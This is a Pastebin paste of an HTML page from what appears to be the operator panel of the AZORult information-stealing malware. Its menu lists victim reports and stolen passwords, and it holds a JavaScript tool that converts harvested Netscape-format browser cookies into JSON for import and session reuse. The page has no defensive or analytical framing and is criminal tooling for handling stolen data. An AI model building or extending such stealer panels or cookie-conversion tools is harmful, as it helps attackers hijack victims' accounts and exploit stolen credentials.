daily pastebin goal
27%
SHARE
TWEET

Untitled

a guest May 27th, 2018 95 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <head>
  3.     <title>AZORult</title>
  4.     <link rel="stylesheet" href="css/style.css">
  5.     <link rel="stylesheet" href="css/menu.css">
  6.     <script src="js/snippets.js"></script>
  7.     <meta charset="utf-8">
  8. </head>
  9. <body>
  10. <div class="page-all">
  11.     <div class="page-header">
  12.         <div class="page-header-logo">
  13.        
  14.         </div> 
  15.     </div>
  16.    
  17.     <div class="page-content">
  18.         <div class="page-left-bar">
  19.             <div id='cssmenu'>
  20.                 <ul>
  21.                         <li %1%><a href='?page=home'><span>Main page</span></a></li>
  22.                         <li %2%><a href='?page=reports'><span>Reports list</span></a></li>
  23.                         <li %3%><a href='?page=passwords'><span>Passwords</span></a></li>
  24.  
  25.                         <li class='active has-sub'><a href='?page=cookiesconverter'><span>cookies converter</span></a></li>
  26.                         <li><a href='?page=logout'><span>Logout</span></a></li>
  27.                 </ul>
  28.             </div>
  29.         </div>
  30.    
  31.    
  32.    
  33.         <div class="page-data">
  34.  
  35.         <div class="info-text1">
  36. <center>Cookies converter: Netscape to JSON</center>
  37. <script>
  38.  
  39.  window.onload=function(){
  40.    document.getElementById("textarea1").wrap='off';
  41.  }
  42. function NetscapeToJson(){
  43. var textArea2 = document.getElementById("textarea2");
  44.     textArea2.value = '';
  45.     var arrObjects = [];
  46.     var textArea1 = document.getElementById("textarea1");
  47.     var arrayOfLines = textArea1.value.split("\n");
  48.     var i = 0;
  49.     for (i=0; i<arrayOfLines.length; i++){
  50.         var kuka = arrayOfLines[i].split("\t");
  51.         var cook = new Object();   
  52.             cook.domain = kuka[0];
  53.             cook.expirationDate = parseInt(kuka[4]);
  54.  
  55.             if (kuka[1] == "FALSE") cook.httpOnly = false;  
  56.             if (kuka[1] == "TRUE") cook.httpOnly = true;  
  57.  
  58.             cook.name = kuka[5];
  59.             cook.path = kuka[2];
  60.            
  61.             if (kuka[3] == "FALSE") cook.secure = false;  
  62.             if (kuka[3] == "TRUE") cook.secure = true;
  63.  
  64.  
  65.             cook.value = kuka[6];  
  66.            
  67.  
  68.             arrObjects[i] = cook;      
  69.     }
  70.    
  71.     var cookieStr = JSON.stringify(arrObjects);
  72.    
  73.    
  74.     textArea2.value = cookieStr;
  75.    
  76.    
  77.     }
  78. </script>
  79. <h3>NETSCAPE: </h3>
  80. <textarea id = "textarea1" wrap="soft" rows="20" style="width: 100%" onclick="this.select()"></textarea>
  81. <br>
  82. <button onclick="NetscapeToJson()" class="sbutton"> Convert >>> </button>
  83. <br>
  84. <br>
  85. <h3>JSON: </h3>
  86. <textarea id = "textarea2" wrap="soft" rows="20" style="width: 100%" onclick="this.select()"></textarea>
  87.  
  88.  
  89.                
  90.  
  91.         </div> 
  92.        
  93.     </div>
  94. </div>
  95.  
  96.  </body>
  97. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top